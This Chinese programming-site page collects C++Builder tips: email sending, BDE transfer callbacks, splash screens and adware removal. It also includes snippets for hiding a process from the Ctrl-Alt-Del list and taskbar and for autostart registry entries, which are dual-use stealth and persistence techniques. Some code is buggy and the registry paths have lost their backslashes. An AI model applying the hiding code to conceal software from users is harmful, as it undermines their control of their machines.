程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> 更多編程語言 >> Delphi >> 發送電子郵件

發送電子郵件

編輯:Delphi
 
怎樣隱藏應用程序的任務條圖標
  
      首先,請看看這些術語。系統托盤是一個在任務條右角的小方框,在托盤了應用程序可以顯示小圖標 。任務條是可以在屏幕上伸展的工具欄。它就是程序圖標所在的位置。想隱藏程序的任務條圖標,你可以應用ShowWindow函數並傳給它Application->Handle窗口句柄。
  ShowWindow(Application->Handle, SW_HIDE);
  若想讓任務條圖標再出現,只需將SW_HIDE改為SW_SHOW。
  ShowWindow(Application->Handle, SW_SHOW);
  注: 你可以設置主窗口的Visible屬性為false來隱藏它。
  注: 通過ShowWindow來隱藏窗口的任務條圖標是不持久的。某些動作會使任務條圖標重現。你可以將隱藏的應用程序窗口設為Tool Window來移走程序的任務條圖標而避免它再次出現。Tool Windows永遠不會有任務條圖標。 使應用程序窗口成為一個Tool Window有一個副作用:當用戶按下Alt-TAB時它將不在程序列表中出現。你可以調用API函數GetWindowLong和SetWindowLong來使應用程序窗口成為一個Tool Window。
  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {   
  DWord dwExStyle = GetWindowLong(Application->Handle, GWL_EXSTYLE); dwExStyle |= WS_EX_TOOLWINDOW; SetWindowLong(Application->Handle, GWL_EXSTYLE, dwExStyle);   
  try {
  Application->Initialize(); 
  Application->CreateForm(__classid(TForm1), &Form1); 
  Application->Run(); 
  } catch (Exception &exception) {
  Application->ShowException(&exception); 
  } 
  return 0;
  }
  注:程序啟動後要隱藏主窗體,則可以在WinMain中添加如下代碼:(Project->VIEw Scource)
  ShowWindow(Application->Handle,SW_HIDE);
  Application->ShowMainForm=false;
  當你想顯示程序時執行下面這兩行代碼:(記住,如果代碼定位在主窗口類的一個方法中,Application->MainForm->Visible=true可以用Visible=true 來代替。)
  ShowWindow(Application->Handle, SW_SHOW);
    Application->MainForm->Visible = true;
  
  發送電子郵件
  
  2000年第一期的《電腦報》刊登了題目為《自己動手編寫電子郵件軟件》的文章,文章講述了如何用VB編寫一個簡單的電子郵件發送程序。其實,如果你是一個C++Builder愛好者,完全可以更快、更簡捷地編寫出這類軟件。請聽我下文分解:
  與E-mail密切相關的兩個協議是POP3和SMTP,POP3是Post Protocol 3的縮寫,用於從POP3服務器接收電子郵件,SMTP是Simple Mail Transfer Protocol的縮寫,用於通過SMTP服務器發送電子郵件。這兩個協議本身是很復雜的,但C++Builder從NetManage公司引進了POP、SMTP控件,這樣,我們完全可以不去管那些收發郵件的機理,只要設置好這些控件就可以編出一個C++Builder的發送郵件程序了。下面介紹SMTP控件:
  SMTP控件位於控件欄的Internet頁面上,名稱為:NMSMTP。SMTP的主要屬性有:
  Host屬性,用來指定SMTP服務器的主機名。
  Port屬性,用於指定SMTP服務器的端口號,一般設為25。
  UserId屬性,登錄SMTP服務器時用於設置用戶名。
  PostMessage屬性,此屬性非常重要,從以下它的內容你就可以看出來了:
  FromName 用於指定發件人的名稱。
  FromAddress 用於指定發件人的e-mail地址。
  LocalProgram 用於指定發件人所使用的郵件客戶程序。
  ToAddress 收件人的地址。
  Body 郵件正文。
  Subject 郵件主題。
  SMTP控件的方法:
  Connect函數,用於登錄到SMTP服務器,使用此函數前,Host、Port、UserId等屬性必須已設好。
  Disconnect函數,用於斷開與SMTP服務器的連接。
  SendMail函數,用於向SMTP服務器發送郵件。知道了這些,我們就可以寫程序了。
  新建應用程序,將工程名保存為sendmail,在Form1上加入NMSMTP控件,Host屬性添入SMTP服務器的名稱,如:“smtp.yeah.Net”,UserId屬性添入你在此郵箱申請的用戶名,其它屬性保持默認值;加入4個Label控件,將其Caption分別設為:“發件人名稱”、“收件人地址”、“郵件主題”和“郵件正文”;加入4個Edit控件,將其Name分別設為:“Name1”、“Address1”、“Subject1”和“Body1”;一個SpeedButton控件,Caption為:“發送”(以上屬性均不含引號),Click事件代碼為:
  NMSMTP1->Connect();
  NMSMTP1->PostMessageA->FromName=Name1->Text;
  NMSMTP1->PostMessageA->FromAddress=〃[email protected]〃;
  NMSMTP1->PostMessageA->ToAddress->Add(Address1->Text);
  NMSMTP1->PostMessageA->Subject=Subject1->Text;
  NMSMTP1->PostMessageA->Body->Add(Body1->Text);
  NMSMTP1->PostMessageA->LocalProgram=〃SendMail〃;
  NMSMTP1->SendMail();
  Application->MessageBoxA(〃發送完成!〃,〃郵件系統〃,MB_OK);
  NMSMTP1->Disconnect();
  完成!有人不禁要問:“就這麼簡單?”,的確就這麼簡單。不過,NMSMTP控件還有大量的功能沒在此一一列出,同時還有NMPOP3控件可用來編寫接收郵件的程序,如果喜愛C++Builder的朋友感興趣,完全可以寫出象OutLook Express、FoxMail這樣的電子郵件軟件。
  
  C++builder編程修改注冊表的問題
  
  RootKey是注冊表的根鍵值,比如運行regedit後看到的HKEY_USERS,HKEY_LOCAL_MacHINE就是RootKey,在TRegIniFile中缺省的RootKey是HKEY_USERS.
  下面的例子是TRegistry的,TRegIniFile也差不多
  void __fastcall TfrmMainForm::WriteToMyRegistry(int table_count)
  {
  //TODO: Add your source code here
  TRegistry *MyRegistry=new TRegistry;
  MyRegistry->RootKey=HKEY_LOCAL_MacHINE;  //改變缺省Rootkey
  if(!MyRegistry->OpenKey("SoftwareMicrosoftWindowsCurrentVersionRun",true)) {  //打開主鍵
    //這樣雙引號裡面的東西就變成了CurrentKey
    Application->MessageBox("注冊表內容無效", "讀取注冊表出錯",MB_ICONERROR);
   MyRegistry->CloseKey();
   delete MyRegistry;
   return;
  }
  MyRegistry->WriteString("myrun","c:sthvcdsthvcd.exe");
  MyRegistry->CloseKey();
  delete MyRegistry;
  }
  怎樣隱藏應用程序不讓它出現在CTRL-ALT-DEL對話框中
  把你的應用程序從CTRL-ALT-DEL對話框中隱藏的一個簡單辦法是去應用程序的標題。如果一個程序的主窗口沒有標題,Windows不把它放到CTRL-ALT-DEL對話框中。清除標題屬性的最好地方是在WinMain函數裡。 
  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
  {
  try{
  Application->Title = "";
  Application->Initialize();
  Application->CreateForm(__classid(TForm1), &Form1);
  Application->Run();
  }
  catch (Exception &exception)
  {
  Application->ShowException(&exception);
  }
  return 0;
  }
  另一種方法是:調用RegisterServiceProcess API 函數將程序注冊成為一個服務模式程序。 RegisterServiceProcess是一個在Kernel32.dll裡相關但無正式文件的函數。在MS SDK頭文件裡沒有該函數的原型說明,但在Borland import librarIEs for C++ Builder裡能找到。很顯然,這個函數的主要目的是創建一個服務模式程序。之所以說很顯然,是因為MSDN裡實質上對這個函數沒有說什麼。
  下面的例子代碼演示了在Windows95/98下怎樣通過使用RegisterServiceProcess來把你的程序從CTRL-ALT-DEL對話框中隱藏起來。
  //------------Header file------------------------------
  typedef DWORD (__stdcall *pRegFunction)(DWORD, DWord);
  class TForm1 : public TForm
  {
  __published:
  TButton *Button1;
  private:
  HINSTANCE hKernelLib;
  pRegFunction RegisterServiceProcess;
  public:
  __fastcall TForm1(TComponent* Owner);
  __fastcall ~TForm1();
  };
  //-----------CPP file------------------------------
  #include "Unit1.h"
  #define RSP_SIMPLE_SERVICE 1
  #define RSP_UNREGISTER_SERVICE 0
  __fastcall TForm1::TForm1(TComponent* Owner): TForm(Owner)
  {
  hKernelLib = LoadLibrary("kernel32.dll");
  if(hKernelLib){
  RegisterServiceProcess =(pRegFunction)GetProcAddress(hKernelLib,"RegisterServiceProcess");
  if(RegisterServiceProcess)
  RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);
  }
  }
  __fastcall TForm1::~TForm1()
  {
  if(hKernelLib){
  if(RegisterServiceProcess)
  RegisterServiceProcess(GetCurrentProcessId(),RSP_UNREGISTER_SERVICE);
  FreeLibrary(hKernelLib);
  }
  }
  
  Windows啟動時運行程序
  
  如果希望在Windows啟動時運行某個程序,可以通過向注冊表中加信息來實現,下面就一個例子說明: 
  首先在源文件(cpp)中加#include <Registry.hpp>
  void __fastcall TForm1::Button1Click(TObject *Sender)
  {
  Tregistry  *Reg;
  Reg=new TRegistry();
  Reg->RootKey=HKEY_LOCAL_MacHINE;
  Reg->OpenKey("SOFTWAREMICROSOFTWindowsCURRENTVERSIONRUN",FALSE);
  Reg->WriteString("start","d:OicqQQ.exe");
  }
  
  客戶/服務器遠程數據傳輸處理技巧
  
  在實際的MIS系統中,遠程數據庫訪問大多通過Modem連接,出於通信費用及速度方面的考慮,往往采用先將數據保存在本地,然後集中傳送到遠端的辦法。遠程數據傳送可以有多種方案,最常見的是先將要傳送的數據打包成文件,在利用文件傳輸形式傳送到目的地,在目的地對數據恢復後添加到本地數據庫中。這種方法普遍地應用於證券交易系統,其優點是速度快,並且可事先對數據壓縮,更大限度地節約傳送時間及費用。但這種方案也有其不足之處:由於利用文件傳輸機制,無法利用數據庫本身的特性如完整性約束、數據一致性、回滾機制等,因此在比較復雜的數據庫系統中較少采用。另一種方法是直接將兩端處理成"客戶/服務器"模式,將數據傳送看成是向Server提交數據。由於這種方案充分利用了數據庫服務器的特性,並且實際操作基本與局域網方式一致,因此本文將詳細介紹這種方案。
  由於傳輸速度的原因,當傳送大量數據時絕對不贊成逐條記錄地向服務器提交數據,而應批量地向Server提交,Delphi/CBuilder中提供了一個TBatchMove控件專門用於批量傳送數據,利用它可極大減少網絡負擔,提高傳送速度。遺憾的是,TBatchMove控件只提供了簡單的錯誤控制功能,沒有提供顯示傳送進度、用戶終止傳送等重要功能。然而TBatchMove所依賴的BDE卻提供了一種"回調機制"可以完成上述兩個功能。所謂"回調"過程是這樣的:當BDE執行某種操作時,比如從一張表向另一張表拷貝大量數據的過程中,每過一段時間(如需要顯示拷貝進度時),BDE會調用一段你自己寫的函數(回調函數),以幫助你更完全地控制程序。這種做法有點想DLPHI中的Event(事件)及事件處理函數--某個具體的操作動作會讓VCL觸發某個事件,從而調用一段你寫好的事件處理函數,不同的事件會觸發不同的處理函數。
  為了讓BDE能正確地與你的函數協同工作,你必須事先"注冊"你的函數,讓BDE知道某個事件發生時應調用(回調)你的某段代碼。BDE提供了一個DbiRegisterCallBack注冊函數,不幸的是,BDE的聯機幫助中的說明不能適合於Delphi/CBuilder,按照該說明編寫的程序根本不能通過編譯!筆者通過實踐找到了正確使用BDE回調函數的方法,下面將詳細介紹該機制的使用。BDE回調機制包含以下幾個步驟:
  1)按BDE的預定格式編寫你的回調函數
  2)調用DbiRegisterCallBack函數注冊你的回調函數,這樣當你執行相關數據庫操作時就自然地觸發你的回調函數。
  3)執行相關數據庫操作,比如BatchMove1->Exectue();
  4)注銷該回調函數
  其中最關鍵的是正確注冊你的回調函數,因此先介紹第二步。(注冊與注銷都調用同一函數,只是最後一個參數略有不同)
  首先你應知道在哪類"事件"發生時調用你的回調函數,其次你應明白與該事件相關的參數及數據結構-----這一切都發生在調用DbiRegisterCallBack函數注冊時,所以下面先介紹DbiRegisterCallBack的正確用法及說明:
  在原BDE幫助中該函數的原形(C)是這樣的
  DBIResultDBIFNDbiRegisterCallBack(hCursor,ecbType,iClIEntData,iCbBufLen,pCbBuf,pfCb);
  要使用該函數必須include頭文件,問題是Delphi/CBuilder中根本沒有提供該文件,取而代之的是"BDE.HPP",但是在包含進該文件後程序仍然不能編譯通過,因為該文件中沒有DBIFN等的說明。一個簡單的方法是在代碼中去掉DBIFN。函數中各參數解釋如下:hCursor是一個BDE中對象的句柄,如果這個參數為NULL,則表示注冊的回調函數適合於所有BDE任務;第二個參數ecbType是指回調函數的觸發條件的類別,有很多種類型可以選擇,其中cbGENPROGRESS表示當需要顯示一個長操作的進度時觸發這個回調函數;第三個參數iClIEntData是傳遞給回調函數的某個數據結構的指針,在我們的例子中為NULL;第四個參數iCbBufLen是指回調Buffer的大小,該大小隨第二個參數的不同而不同,比如sizeof(CBPROGRESSDesc);第五個參數pCbBuf是回調Buffer的指針,該指針類型隨第二個參數變化,比如cbGENPROGRESS的數據結構是CBPROGRESSDesc;最後一個參數是回調函數的地址指針,當該參數為NULL時表示注銷該類型的回調函數。關於回調函數將在稍後詳細介紹。下面是注冊執行長操作時顯示進度的回調函數的格式:
  intrst=DbiRegisterCallBack(
  NULL,//適合於任何進程
  cbGENPROGRESS,//回調類型:顯示長操作的進度
  NULL,//沒有數據
  sizeof(CBPROGRESSDesc),//數據結構的大小
  &aCBBuf,//數據的內存地址
  ApiCallBackFun//回調函數的地址
  );
  接下來就應該完成第一步:編寫回調函數
  在C中,回調函數應如下聲明:
  CBRType__stdcallApiCallBackFun(
  CBTypeecbType,//回調類型
  intiClIEntData,//回調數據(指針)
  void*pCbInfo//回調數據結構指針
  )
  第一個參數是回調類型;第二個參數是回調數據,其解釋同DbiRegisterCallBack的第三個參數;第三個是回調數據的指針,該數據的結構隨回調類型的不同而不同。比如進度指示cbGENPROGRESS的數據結構是CBPROGRESSDesc,其定義如下:
  structCBPROGRESSDesc{
  shortiPercentDone;//進度的百分比
  charszMsg[128];//進度的文本信息
  };
  該結構的兩個域同時只有一個起作用,第一個表示操作的進度百分比,當其為-1時表示第二個域起作用。第二個域用字符串表示進度信息,其格式為<String><:><Value>,比如:RecordsCopIEd:125
  本文主要在回調函數中完成兩個工作:
  1)顯示數據拷貝(BatchMove)進度
  2)提供讓用戶終止長時間拷貝的機制
  顯示拷貝進度的代碼如下:
  CBRType__stdcallApiCallBackFun(
  CBTypeecbType,  //Callbacktype
  Int iClientData, //ClIEntcallbackdata
  void*pCbInfo //Callbackinfo/ClIEnt
  ) {
  AnsiString str;
  if(ecbType==cbGENPROGRESS){
  intj=StrToInt(((CBPROGRESSDesc*)pCbInfo)->iPercentDone);
  if(j<0) { //如果iPercentDone為-1,則分析szMsg的信息
  str=((CBPROGRESSDesc*)pCbInfo)->szMsg;intpos=str.AnsiPos(":")+1; //提取出拷貝的記錄數
  //下面的代碼用來在一個Form中顯示拷貝進度及拷貝數量Form1->Label2->Caption=str.SubString(pos,100);
  Form1->Label2->Update();
  Form1->ProgressBar1->Position=int((str.SubString(pos,100).ToDouble()/Form1->TransNum)*100);
  Form1->ProgressBar1->Update();
  }else{
  Form1->ProgressBar1->Position=j;Form1->ProgressBar1->Update();
  }
  return  cbrCONTINUE;
  //必須返回cbrCONTINUE以便讓BatchMove繼續,若返回cbrABORT則終止拷貝
  }
  }
  一切完成以後,每當調用長時間BDE操作(比如BatchMove1->Exectue())時都會觸發該回調函數,注意在不需要時應"注銷"這個回調函數。
  如果批量傳送數據時間很長,則必須為用戶提供終止該操作的機會,前面提到,若回調函數返回cbrABORT,則BatchMove過程立即終止。可以在Form上加上一個"停止"按鈕和一個全局布爾變量isContinue,當開始拷貝時設該變量為true,當按鈕按下後,設該變量為false,每次調用回調函數時檢查isContinue的值,若為true則回調函數返回cbrCONTINUE讓拷貝繼續,否則返回cbrABORT終止拷貝。但是問題在於一旦拷貝過程開始,該進程內所有消息將被阻塞,應用程序在拷貝結束之前沒有機會響應鍵盤、鼠標等一切消息,連屏幕刷新都不能完成,因此必須找到一種避免消息阻塞的方法。
  大家知道,Windows是靠事件(消息)驅動的,在WIN32系統中有兩種消息隊列:系統隊列和應用程序隊列,當一個程序進行一個長時間操作時,系統分配給該程序的時間片將完全用於處理該操作,換句話說,應用程序沒有從它的應用程序隊列中取出消息並處理的機會,這樣該程序將停止一切對外部事件的響應直到該操作完成為止。具體到本文中就是程序必須等到BatchMove1->Execute()執行完畢後才能響應用戶操作,因此用戶將完全沒有機會終止拷貝過程。
  解決的辦法是:在回調函數中取出消息隊列中的消息,並後台處理它們,這樣用戶將有機會按下終止按鈕。實現的代碼很簡單,在回調函數中最後加入以下代碼即可
  CBRType__stdcallApiCallBackFun(…){
  ……MSGamsg;
  while(PeekMessage(&amsg,NULL,0,0,PM_REMOVE)) {//從隊列中取消息
  TranslateMessage(&amsg);//翻譯消息
  DispatchMessage(&amsg);//分發消息
  }
  if(isContinue)
  return cbrCONTINUE;
  else
  returncbrABORT;
  }
  
  軟件封面的實現
  
  1.先設置兩個窗體Form1 Form2其中Form1為主窗體,Form2為動態調用窗體
  在工程文件Project1.cpp中加入如下代碼: 
  #include <vcl.h>
  #include "Unit2.h"
  #pragma hdrstop
  
  USERES("Project1.res");
  USEFORM("Unit1.cpp", Form1);
  USEFORM("Unit2.cpp", Form2);
  //---------------------------------------------------------------------------
  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
  {
  try{
  Application->Initialize();
  Form2 = new TForm2(Application);
  Form2->Show();
  Form2->Update();
  Application->CreateForm(__classid(TForm1), &Form1);
  delete Form2;
  Application->Run();
  }
  catch (Exception &exception){
  Application->ShowException(&exception);
  }
  return 0;
  }
  2.然後在主窗體unit1.cpp中加入下面代碼:
  void __fastcall TForm1::FormCreate(TObject *Sender)
  {
  unsigned long CurTime;
  unsigned long DelayTime;
  // 設置延遲時間為5秒
  DelayTime = 5000;
  CurTime = GetTickCount();
  // 在這兒可以加上應用程序的初始化過程
  unsigned long Inter;
  do{
  Inter = GetTickCount()-CurTime;
  Form2->ProgressBar1->Position = Inter*100.0/DelayTime;
  } while( Inter<DelayTime );
  }
  
  在BCB中顯示2000新式對話框
  
  我自己測試了一下,在2000和xp下能顯示新式對話框,不過不能使用bcb中的組件,只能自己調用api函數,再一次說明了api函數的強大.我的程序如下,希望大家指教.
  //main.h
  //---------------------------------------------------------------------------
  #ifndef mainH
  #define mainH
  //---------------------------------------------------------------------------
  #include <Classes.hpp>
  #include <Controls.hpp>
  #include <StdCtrls.hpp>
  #include <Forms.hpp>
  #include <Dialogs.hpp>
  #include <ExtCtrls.hpp>
  //---------------------------------------------------------------------------
  class TForm1 : public TForm
  {
  __published: // IDE-managed Components
  TButton *Button1;
  TPanel *Panel1;
  TMemo *Memo1;
  TPanel *Panel2;
  TGroupBox *GroupBox1;
  TCheckBox *CheckBox1;
  TButton *Button2;
  void __fastcall Button1Click(TObject *Sender);
  void __fastcall FormCreate(TObject *Sender);
  void __fastcall FormDestroy(TObject *Sender);
  void __fastcall Button2Click(TObject *Sender);
  void __fastcall CheckBox1Click(TObject *Sender);
  private: // User declarations
  public: // User declarations
  LPOPENFILENAMEA   pOpenFile;
     BYTE     *pBuf;
  __fastcall TForm1(TComponent* Owner);
  void __fastcall DisplayInMemo(String str);
  };
  //---------------------------------------------------------------------------
  extern PACKAGE TForm1 *Form1;
  //---------------------------------------------------------------------------
  #endif
   
  //main.c
  //---------------------------------------------------------------------------
  #include <vcl.h>
  #pragma hdrstop
  #include "main.h"
  //---------------------------------------------------------------------------
  #pragma package(smart_init)
  #pragma resource "*.dfm"
  TForm1 *Form1;
  //---------------------------------------------------------------------------
  __fastcall TForm1::TForm1(TComponent* Owner)
  : TForm(Owner)
  {
  }
  //---------------------------------------------------------------------------
  void __fastcall TForm1::Button1Click(TObject *Sender)
  {
  String str;
  BOOL  bReturn = GetOpenFileName(pOpenFile);
  if(bReturn)
  {
     str.sprintf("您選擇的文件為%s",pOpenFile->lpstrFile);
  DisplayInMemo(str);
  }else{
  str.sprintf("您沒有選擇的文件");
  DisplayInMemo(str);
  }
  }
  //---------------------------------------------------------------------------
  void __fastcall TForm1::FormCreate(TObject *Sender)
  {
  String str;
  pBuf =(BYTE *)malloc(1024);
  memset(pBuf,0,1024);
  pBuf = "*.txt";
  pOpenFile = (LPOPENFILENAMEA)malloc(sizeof(OPENFILENAMEA));
  memset(pOpenFile,0,sizeof(OPENFILENAMEA));
  pOpenFile->lStructSize = sizeof(OPENFILENAMEA);
  pOpenFile->hwndOwner = Handle;
  pOpenFile->hInstance = HInstance;
  pOpenFile->lpstrFilter = "文本文件(*.txt)";
  pOpenFile->nFilterIndex = 0;
  pOpenFile->nMaxFile = 255;
  pOpenFile->Flags = OFN_EXPLORER;
  pOpenFile->lpstrFile = pBuf;
  pOpenFile->lpstrTitle = "我的文件對話框";
  pOpenFile->lpstrInitialDir = ".";
  //pOpenFile->
  str.sprintf("顯示2000樣式對話框演示");
  DisplayInMemo(str);
  }
  //---------------------------------------------------------------------------
  void __fastcall TForm1::FormDestroy(TObject *Sender)
  {
  free((void *)pOpenFile);
  }
  //---------------------------------------------------------------------------
  void __fastcall TForm1::DisplayInMemo(String str)
  {
  if(Memo1->Lines->Count > 100){
     Memo1->Lines->Clear();
  }
  Memo1->Text = str + char(13) + char(10) + Memo1->Text;
  }
  void __fastcall TForm1::Button2Click(TObject *Sender)
  {
  Close();  
  }
  //---------------------------------------------------------------------------
  void __fastcall TForm1::CheckBox1Click(TObject *Sender)
  {
  if(CheckBox1->Checked){
  pOpenFile->Flags |= OFN_READONLY;
  }else{
  pOpenFile->Flags &= !OFN_READONLY;
  }
  }
  //---------------------------------------------------------------------------
  在bcb5測試通過.
  
  如何屏蔽系統ALT+F4
  
  第一步:在你的密碼窗口的頭文件的 public部分加上以下兩段代碼:
  //這是自定義響應消息的函數:
  void __fastcall OnCloseForm(TMessage Message);
  //定義一個消息域:
  BEGIN_MESSAGE_MAP
   MESSAGE_HANDLER(WM_SYSCOMMAND, TMessage, OnCloseForm)
  END_MESSAGE_MAP(TForm)
  第二步:在密碼窗口的代碼中增加此函數的實現:(注 TfWelcome 是密碼窗口的名字,改成你自己的密碼窗口名稱)
  void __fastcall TfWelcome::OnCloseForm(TMessage Message)
  {
  if(Message.WParam==SC_CLOSE){
   //此消息攔截是為了防止用戶關閉登錄窗口 。
     if(Application->MessageBox(" 您確實要關閉本系統?”。","金浪軟件提醒",48|1)==1){
     Application->Terminate();//如果用戶選擇“是”,就關閉整個程序。
    }
  }
  }
  說明:這樣用戶無論如何都關不了你的密碼窗口了,要關就把整個程序關了。
  
  調用API函數NetBiOS來獲得網卡物理地址
  
  本程序是調用API函數NetBiOS來獲得網卡物理地址的。
  
  //Get Mac Address
  //Proto: bool MAC(char *Mac);
  //return: true if success and Mac is Mac address,
  // false if fail.
  //
  bool MAC(char *Mac)
  {
  typedef struct _ASTAT_
  {
  ADAPTER_STATUS adapt;
  NAME_BUFFER NameBuff [30];
  }ASTAT, *PASTAT;
  
  ASTAT Adapter;
  
  NCB ncb;
  UCHAR uRetCode;
  char tmp[40];
  Mac[0]='';
  memset( &ncb, 0, sizeof(ncb) );
  ncb.ncb_command = NCBRESET;
  ncb.ncb_lana_num = 0;
  uRetCode = NetbiOS( &ncb );
  if (uRetCode!=0)
  {
  strcat(Mac,"Init Error!");
  return false;
  }
  memset(&ncb, 0, sizeof(ncb) );
  ncb.ncb_command = NCBASTAT;
  ncb.ncb_lana_num = 0;
  strcpy((char *)ncb.ncb_callname, "* " );//這個"*"代表獲得本機網卡地址,換成IP地址就可以獲得局域網內其他機器的網卡地址。
  
  ncb.ncb_buffer =(unsigned char *) &Adapter;
  ncb.ncb_length = sizeof(Adapter);
  
  uRetCode = NetbiOS( &ncb );
  if ( uRetCode == 0 )
  {
  for(int i=0;i<6;i++)
  {
  sprintf(tmp,"%02X ",(int)Adapter.adapt.adapter_address[i]);
  strcat(Mac,tmp);
  }
  sprintf(tmp," Software: %d.%d",Adapter.adapt.rev_major,Adapter.adapt.rev_minor);
  strcat(Mac,tmp);
  return true;
  }
  else
  {
  strcat(Mac,"Unknown.");
  return false;
  }
  }
  
  細說3721網絡實名“病毒”(人家用C++寫的)
  
      最近浏覽一些門戶網站時,會不知不覺的被安裝上一個名為“3721網絡實名”的IE插件。雖說這些門戶網站和3721本是好意,可是這樣單方面地安裝上這麼一個插件有點不妥!之所以說它是病毒,因為它同樣是開機自動啟動,而且雖然帶來 一些方便,但是使系統運行的極不穩定,拖慢上網速度。在s8s8.Net的論壇上看 到很多網友都說關機時經常會出現 explorer.exe 出錯的提示。我也是同樣深受 其害,仔細研究了一下,問題就出在這個“3721網絡實名”上!更可氣的是,可能是由於程序做的比較倉促,完全沒有卸載功能! 
  這裡附上它的源代碼,通過代碼可以看出這不是木馬。不過程序寫的很爛…… 
  #include "Windows.h" 
  #include "winbase.h" 
  void main() 
  { 
  char buf[MAX_PATH]; 
  ::ZeroMemory(buf, MAX_PATH); 
  ::GetWindowsDirectory(buf, MAX_PATH); 
  char filename[MAX_PATH]; 
  ::ZeroMemory(filename, MAX_PATH); 
  strcpy(filename, buf); 
  strcat(filename, "Downloaded Program FilesCnsMinIO.dll"); 
  ::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); 
  ::ZeroMemory(filename, MAX_PATH); 
  strcpy(filename, buf); 
  strcat(filename, "Downloaded Program FilesCnsMin.dll"); 
  ::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); 
  ::ZeroMemory(filename, MAX_PATH); 
  strcpy(filename, buf); 
  strcat(filename, "Downloaded Program Filescnsio.dll"); 
  ::MoveFileEx(filename, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); 
  } 
  下面將給大家卸載這個插件的詳細過程。 
  由於這個3721網絡實名插件是使用Rundll32.exe調用連接庫的,系統無法終止Rundll32.exe進程,所以我們必須重新啟動計算機,按 F8 進入安全模式(F8 只能按一次,千萬不要多按!)。之後,單擊 開始 -> 運行 regedit.exe 打開注冊表,進入: 
  HKEY_LOCAL_MacHINESOFTWAREMicrosoftWindowsCurrentVersionRun 
  刪除鍵:CnsMin 
  其鍵值為:Rundll32.exe C:WINNTDOWNLO~1CnsMin.dll,Rundll32 
  (如果是win98,這裡的 C:WINNTDOWNLO~1 為 C:WindowsDOWNLO~1) 
  HKEY_LOCAL_MacHINESOFTWAREMicrosoftInternet ExplorerAdvancedOptions 
  刪除整個目錄:!CNS 
  這個目錄在 Internet 選項 -> 高級 中加入了3721網絡實名的選項。 
  HKEY_LOCAL_MacHINESOFTWARE3721 以及 HKEY_CURRENT_USERSoftware3721 
  刪除整個目錄:3721 
  注:如果您安裝了3721的其它軟件,如 極品飛貓 等,則應刪除 
  整個目錄:HKEY_LOCAL_MacHINESOFTWARE3721CnsMin 
  以及 HKEY_CURRENT_USERSoftware3721CnsMin 
  HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain 
  刪除鍵:CNSEnable 其鍵值為:a2c39d5f 
  刪除鍵:CNSHint 其鍵值為:a2c39d5f 
  刪除鍵:CNSList 其鍵值為:a2c39d5f 
  在刪除完注冊表中的項之後,還需要刪除存儲在硬盤中的3721網絡實名文件。 
  刪除如下文件: 
  C:WINNTDOWNLO~1 目錄下 
  (這裡的 C:WINNTDOWNLO~1 為 C:WindowsDOWNLO~1 下同) 
  2001-08-09 15:34 <DIR> 3721 
  2001-08-02 17:03 40,960 cnsio.dll 
  2001-08-08 14:14 102,400 CnsMin.dll 
  2001-08-24 23:14 42 CnsMin.ini 
  2001-08-09 10:18 13,848 CnsMinEx.cab 
  2001-07-06 17:57 32,768 CnsMinEx.dll 
  2001-08-25 02:52 115 CnsMinEx.ini 
  2001-08-25 02:51 17,945 CnsMinIO.cab 
  2001-08-02 17:02 32,768 CnsMinIO.dll 
  2001-08-24 23:15 40,793 CnsMinUp.cab 
  C:WINNTDOWNLO~13721 目錄下 
  2001-08-02 17:03 40,960 cnsio.dll 
  2001-08-24 15:53 102,400 CnsMin.dll 
  2001-07-06 17:59 213 CnsMin.inf 
  2001-08-24 15:48 28,672 CnsMinIO.dll 
  以上文件全部刪除,這樣3721網絡實名“病毒”就從您的計算機中全部清除了。 
  最後,重新啟動計算機,進入正常模式。現在已經完全沒有3721網絡實名的捆饒了! 
  ..:::[end]:::.. 
  下面是禁止3721的方法: 
  卸載3721後,用記事本打開c:Windowshosts(查找,說明為文件),加入以下字符(IP和域名之間用一個空格間隔開): 
  0.0.0.0 www.3721.com 
  0.0.0.0 cnsmin.3721.com 
  0.0.0.0 download.3721.com 
  保存的文件名為Hosts(注意不要加任何擴展名),Windows 98/Me的系統把該文件保存到Windows目錄,Windows 2000/XP的系統把該文件保存到WINNTsystem32driversetc目錄,如果已經有Hosts文件,直接替換就可以。然後打開浏覽器觀察結果,怎麼樣?再也看不到3721的對話框了吧? 
  同理,用Hosts文件還可以對付網頁中的廣告。現在很多大型網站,都有專門存放廣告的主機,查看網頁的源代碼,就可以知道廣告文件存放在哪台主機上,然後用Hosts文件解析這台主機的IP,就可以把這些廣告拒之門外了。 
  也可以加速經常浏覽的網站:X.X.X.X(空格)WWW.X.COM (IP為真實值) 
  ..:::[other]:::.. 
  另外可以使用多頁面浏覽器把 
  3721.com 218.244.44.10 
  3721.Net 202.106.148.154 
  www.3721.com 218.244.44.10 
  www.3721.Net 202.106.148.154 
  download.3721.com 218.244.44.34 
  download.3721.Net 218.244.44.35 
  這些添加到黑名單, 
  把C段封殺 
  218.244.44.* 
  202.106.148.* 
  附件附上Hosts: 
  # Copyright (c) 1993-1999 Microsoft Corp. 
  # 
  # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. 
  # 
  # This file contains the mappings of IP addresses to host names. Each 
  # entry should be kept on an individual line. The IP address should 
  # be placed in the first column followed by the corresponding host name. 
  # The IP address and the host name should be separated by at least one 
  # space. 
  # 
  # Additionally, comments (such as these) may be inserted on individual 
  # lines or following the Machine name denoted by a '#' symbol. 
  # 
  # For example: 
  # 
  # 102.54.94.97 rhino.acme.com # source server 
  # 38.25.63.10 x.acme.com # x clIEnt host 
  
  127.0.0.1 localhost 
  127.0.0.1 3721.com #3721網絡實名 
  127.0.0.1 3721.Net #3721網絡實名 
  127.0.0.1 cnsmin.3721.com #3721網絡實名 
  127.0.0.1 download.3721.com #3721網絡實名 
  127.0.0.1 www.3721.com #3721網絡實名 
  127.0.0.1 www.3721.Net #3721網絡實名
  
